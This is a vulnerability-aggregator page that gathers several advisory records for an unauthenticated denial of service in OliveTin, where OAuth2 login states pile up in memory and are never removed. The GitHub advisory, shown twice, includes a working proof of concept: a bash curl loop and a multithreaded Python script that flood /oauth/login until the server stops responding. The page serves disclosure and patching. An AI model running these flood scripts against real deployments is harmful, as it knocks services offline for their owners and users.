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OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/OliveTin/OliveTin 0.0.0-20260708075951-ec114e95d297osv · severity unknownFixed by github.com/OliveTin/OliveTin 0.0.0-20260708075951-ec114e95d297KEV status unknown

cve-program · CVE-2026-67437

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

Read the publisher's advisory

euvd · EUVD-2026-50563

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

Read the publisher's advisory

nvd · CVE-2026-67437

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

Read the publisher's advisory

osv · GHSA-xpxj-f2fm-rqch

Published

## Summary OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service. This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists. ## Affected Versions - All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789) ## Details In `service/internal/auth/otoauth2/restapi_auth_oauth2.go`: ```go type OAuth2Handler struct { cfg *config.Config mu sync.RWMutex registeredStates map[string]*oauth2State // NEVER cleaned up registeredProviders map[string]*oauth2.Config } ``` The `HandleOAuthLogin` handler adds a new state on every request: ```go func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) { state, _ := randString(16) // 24-byte base64 string // ... h.mu.Lock() h.registeredStates[state] = &oauth2State{ providerConfig: provider, providerName: providerName, Username: "", } h.mu.Unlock() // ... redirect to OAuth2 provider } ``` The `HandleOAuthCallback` handler updates existing states but never removes them: ```go func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) { // ... h.mu.Lock() h.registeredStates[state].Username = userinfo.Username // Updates, never deletes h.registeredStates[state].Usergroup = ... h.mu.Unlock() } ``` There is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`. ### Memory Impact Per State Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: `*oauth2State` struct containing: - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config) - `providerName string` (~8-16 bytes) - `Username string` (empty initially) - `Usergroup string` (empty initially) - Go map overhead: ~100-150 bytes per entry Estimated: **~200 bytes per state entry** At 1 million states ≈ **200 MB** of memory consumed. At 10 million states ≈ **2 GB** of memory consumed. ### Attack Vector The `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second. ## PoC ### Prerequisites - OliveTin instance with at least one OAuth2 provider configured - Network access to `/oauth/login` ### Config ```yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "INFO" checkForUpdates: false authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback" authOAuth2Providers: github: clientId: "test-client-id" clientSecret: "test-client-secret" actions: - title: noop shell: echo "ok" ``` ### Step 1: Baseline health check ```bash curl -i http://127.0.0.1:1337/readyz # Expected: 200 OK curl -I "http://127.0.0.1:1337/oauth/login?provider=github" # Expected: 302 Found (redirect to GitHub) ``` ### Step 2: Flood with state-creation requests ```bash # Each request creates a new map entry that is never cleaned up for i in $(seq 1 100000); do curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" & # Throttle to avoid connection limits if (( i % 500 == 0 )); then wait echo "Sent $i requests..." fi done wait echo "Flood complete" ``` ### Step 3: Python PoC for sustained memory exhaustion ```python #!/usr/bin/env python3 """PoC: OAuth2 State Memory Exhaustion DoS Distinct from CVE-2026-28789 (concurrent map crash). This exploits unbounded growth of the registeredStates map. """ import requests import time import sys from concurrent.futures import ThreadPoolExecutor TARGET = "http://127.0.0.1:1337" PROVIDER = "github" WORKERS = 50 TOTAL_REQUESTS = 500000 BATCH_SIZE = 1000 def create_state(_): """Send /oauth/login to create a new state entry.""" try: requests.get( f"{TARGET}/oauth/login?provider={PROVIDER}", allow_redirects=False, timeout=5 ) return True except Exception: return False def check_health(): """Check if the server is still responsive.""" try: r = requests.get(f"{TARGET}/readyz", timeout=5) return r.status_code == 200 except Exception: return False print(f"[*] Target: {TARGET}") print(f"[*] Provider: {PROVIDER}") print(f"[*] Total requests: {TOTAL_REQUESTS}") print(f"[*] Workers: {WORKERS}") print() if not check_health(): print("[!] Server not reachable") sys.exit(1) start_time = time.time() total_created = 0 with ThreadPoolExecutor(max_workers=WORKERS) as executor: for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE): batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS) results = list(executor.map(create_state, range(batch_start, batch_end))) total_created += sum(results) elapsed = time.time() - start_time rate = total_created / elapsed if elapsed > 0 else 0 est_memory = total_created * 200 / 1024 / 1024 # MB print(f" States created: {total_created:>8} | " f"Rate: {rate:>6.0f}/s | " f"Est. memory: {est_memory:>6.1f} MB | " f"Healthy: {check_health()}") if not check_health(): print(f"\n[!] Server became unresponsive after {total_created} states!") print(f"[!] Estimated memory consumed: {est_memory:.1f} MB") break print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s") ``` ### Step 4: Verify memory growth (Docker) ```bash docker stats olivetin-instance --no-stream # Observe MEM USAGE growing continuously during the attack ``` ## Impact - **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured - **Attack requirements:** Unauthenticated network access to `/oauth/login` - **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation - **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required - **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied. ## Suggested Fix 1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`) 2. Add a maximum state count (e.g., 10,000) with LRU eviction 3. Clean up states after successful callback 4. Add periodic garbage collection for expired states

Read the publisher's advisory

osv · GO-2026-6146

Published

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) in github.com/OliveTin/OliveTin

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

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cve-program · CVE-2026-67437

Published

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

Source published
29 Jul 2026 20:43:05 UTC
Source modified
30 Jul 2026 14:15:32 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-50563

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on eve…

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jul 29, 2026, 8:43:05 PM

dateUpdated: Jul 30, 2026, 2:15:32 PM

Source published
Jul 29, 2026, 8:43:05 PM (timezone not stated)
Source modified
Jul 30, 2026, 2:15:32 PM (timezone not stated)
Saved here
19 Nov 2026 18:44:45 UTC
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ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-67437

Published

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on eve…

OliveTin gives access to predefined shell commands from a web interface. From 3000.0.0 until 3000.17.0, the service/internal/auth/otoauth2/restapi_auth_oauth2.go OAuth2 login handler stores per-login state in the registeredStates map on every /oauth/login request without expiring, deleting, or bounding entries, allowing an unauthenticated attacker to exhaust memory and cause a denial of service. This issue is fixed in version 3000.17.0.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-400 · CWE-401 · CWE-770

Original publisher date fields

published: 2026-07-29T21:17:47.977

lastModified: 2026-07-30T19:21:23.297

Source published
29 Jul 2026 21:17:47 UTC
Source modified
30 Jul 2026 19:21:23 UTC
Saved here
25 Oct 2026 15:18:51 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-xpxj-f2fm-rqch

Published

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

## Summary OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service. This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists. ## Affected Versions - All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789) ## Details In `service/internal/auth/otoauth2/restapi_auth_oauth2.go`: ```go type OAuth2Handler struct { cfg *config.Config mu sync.RWMutex registeredStates map[string]*oauth2State // NEVER cleaned up registeredProviders map[string]*oauth2.Config } ``` The `HandleOAuthLogin` handler adds a new state on every request: ```go func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) { state, _ := randString(16) // 24-byte base64 string // ... h.mu.Lock() h.registeredStates[state] = &oauth2State{ providerConfig: provider, providerName: providerName, Username: "", } h.mu.Unlock() // ... redirect to OAuth2 provider } ``` The `HandleOAuthCallback` handler updates existing states but never removes them: ```go func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) { // ... h.mu.Lock() h.registeredStates[state].Username = userinfo.Username // Updates, never deletes h.registeredStates[state].Usergroup = ... h.mu.Unlock() } ``` There is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`. ### Memory Impact Per State Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: `*oauth2State` struct containing: - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config) - `providerName string` (~8-16 bytes) - `Username string` (empty initially) - `Usergroup string` (empty initially) - Go map overhead: ~100-150 bytes per entry Estimated: **~200 bytes per state entry** At 1 million states ≈ **200 MB** of memory consumed. At 10 million states ≈ **2 GB** of memory consumed. ### Attack Vector The `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second. ## PoC ### Prerequisites - OliveTin instance with at least one OAuth2 provider configured - Network access to `/oauth/login` ### Config ```yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "INFO" checkForUpdates: false authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback" authOAuth2Providers: github: clientId: "test-client-id" clientSecret: "test-client-secret" actions: - title: noop shell: echo "ok" ``` ### Step 1: Baseline health check ```bash curl -i http://127.0.0.1:1337/readyz # Expected: 200 OK curl -I "http://127.0.0.1:1337/oauth/login?provider=github" # Expected: 302 Found (redirect to GitHub) ``` ### Step 2: Flood with state-creation requests ```bash # Each request creates a new map entry that is never cleaned up for i in $(seq 1 100000); do curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" & # Throttle to avoid connection limits if (( i % 500 == 0 )); then wait echo "Sent $i requests..." fi done wait echo "Flood complete" ``` ### Step 3: Python PoC for sustained memory exhaustion ```python #!/usr/bin/env python3 """PoC: OAuth2 State Memory Exhaustion DoS Distinct from CVE-2026-28789 (concurrent map crash). This exploits unbounded growth of the registeredStates map. """ import requests import time import sys from concurrent.futures import ThreadPoolExecutor TARGET = "http://127.0.0.1:1337" PROVIDER = "github" WORKERS = 50 TOTAL_REQUESTS = 500000 BATCH_SIZE = 1000 def create_state(_): """Send /oauth/login to create a new state entry.""" try: requests.get( f"{TARGET}/oauth/login?provider={PROVIDER}", allow_redirects=False, timeout=5 ) return True except Exception: return False def check_health(): """Check if the server is still responsive.""" try: r = requests.get(f"{TARGET}/readyz", timeout=5) return r.status_code == 200 except Exception: return False print(f"[*] Target: {TARGET}") print(f"[*] Provider: {PROVIDER}") print(f"[*] Total requests: {TOTAL_REQUESTS}") print(f"[*] Workers: {WORKERS}") print() if not check_health(): print("[!] Server not reachable") sys.exit(1) start_time = time.time() total_created = 0 with ThreadPoolExecutor(max_workers=WORKERS) as executor: for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE): batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS) results = list(executor.map(create_state, range(batch_start, batch_end))) total_created += sum(results) elapsed = time.time() - start_time rate = total_created / elapsed if elapsed > 0 else 0 est_memory = total_created * 200 / 1024 / 1024 # MB print(f" States created: {total_created:>8} | " f"Rate: {rate:>6.0f}/s | " f"Est. memory: {est_memory:>6.1f} MB | " f"Healthy: {check_health()}") if not check_health(): print(f"\n[!] Server became unresponsive after {total_created} states!") print(f"[!] Estimated memory consumed: {est_memory:.1f} MB") break print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s") ``` ### Step 4: Verify memory growth (Docker) ```bash docker stats olivetin-instance --no-stream # Observe MEM USAGE growing continuously during the attack ``` ## Impact - **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured - **Attack requirements:** Unauthenticated network access to `/oauth/login` - **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation - **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required - **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied. ## Suggested Fix 1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`) 2. Add a maximum state count (e.g., 10,000) with LRU eviction 3. Clean up states after successful callback 4. Add periodic garbage collection for expired states

Source published
30 Jul 2026 14:24:53 UTC
Source modified
18 Aug 2026 15:10:49 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

osv · GO-2026-6146

Published

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) in github.com/OliveTin/OliveTin

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) in github.com/OliveTin/OliveTin

Source published
18 Aug 2026 14:32:29 UTC
Source modified
18 Aug 2026 15:00:22 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

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